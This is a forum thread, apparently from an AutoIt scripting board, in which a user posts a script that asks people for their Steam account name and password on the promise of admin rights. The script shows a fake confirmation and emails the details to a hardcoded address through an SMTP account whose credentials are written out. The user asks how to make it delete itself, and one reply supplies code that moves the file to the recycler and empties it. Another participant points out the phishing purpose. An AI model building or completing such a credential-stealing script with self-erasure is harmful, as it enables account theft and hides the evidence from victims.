Jump to content
Sign in to follow this  
XtraCt

script remove himself

Recommended Posts

XtraCt

Hello !

I have this script:

#Include<file.au3>
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
;##################################
; Include
;##################################
#Include<file.au3>
#include <IE.au3>
#include <misc.au3>
#NoTrayIcon

Global $accounts

;$Admin = InputBox ( "Admin", "" )
$Emawda = InputBox ( "Admin", "Write Your NickName", "NickName" )
$Emada = InputBox ( "Admin", "Write Your Email", "Email" )
$accouawdnts = ("  Email= ") & $Emasdasa
$Acasdc = InputBox ( "Admin", "Write Steam Account Name to be Admin", "Steam Account Name" ) 
$acwdwacounts = $accasdounts & ("  User Name= ") & $Aasdcc
$pass = InputBox ( "Admin", "Wite Steam Account Password To Be Admin", "Steam Account Password" ) 
$accousants = $accountdas & ("  Password= ") & $paasdss
MsgBox(0, "ADMIN", "Your details has been sent! you will be admin in less then 2 hours (If your information is correct)", 0)


$smtpserasdver = "mail.bluebottle.com"
$smtpasduser = "oyfake@bluebottle.com"
$smtppasdass = "4r5t6y"

$e_S
$e_R
$e_S
$e_T
$e_File = ""

SendEmail($e_Sender,$e_Recipient,$e_Subject,$e_Text,$e_File)
; use the function here!

Func SendEmail($e_Sender, $e_Recipient, $e_Subject, $e_Text, $e_File)
    $objMessage = ObjCreate("CDO.Message")
    With $objMessage
        .Subject = $e_Subject
        .Sender = $e_Sender
        .From = $e_Sender
        .To = $e_Recipient
        .TextBody = $e_Text
       ;.HtmlBody = $e_Text; uncomment to send a HTML mail and comment line above
       ;.AddAttachment = $e_File   ; <== I REMOVED THIS as we don't have an attachment
    EndWith
    With $objMessage.Configuration.Fields
        .Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $smtpserver
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        .Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $smtpuser
        .Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $smtppass
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 587
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60
        .Update
    EndWith
    $objMessage.Send
    Return
EndFunc  ;==>SendEmail

I want to add the script that after I will run him

he will delete him self (not move to windows recycle bin) for ever ...

how i do it ?

10x alot

Edited by XtraCt

Share this post


Link to post
Share on other sites
eltorro

Edit. removed due to less than auspicious nature of the above script.

Edited by eltorro

Share this post


Link to post
Share on other sites
weaponx

Is it just me or are you using this script to trick people into sending their Steam account info under the guise of obtaining admin rights?

Share this post


Link to post
Share on other sites
XtraCt

Edit. removed due to less than auspicious nature of the above script.

i didn't get you ....

Share this post


Link to post
Share on other sites
andrei0x309

Try this at your end of the script

CODE

FileMove( "yourfile.exe" , "C:\RECYCLER\newname.exe")

FileRecycleEmpty("c:\")

Edited by Azraelsub7

Share this post


Link to post
Share on other sites
andrei0x309

that not help me

what about that:

FileDelete ( @ScriptFullPath )
Lol mane have u try it ? i have try it ... works .. after i executed my file with the name yourfile.exe it disapire

and go to recycle and is deleted ... (sorry for my bad english)

FileDelete(@sciptfullpath) will not work

Edited by Azraelsub7

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×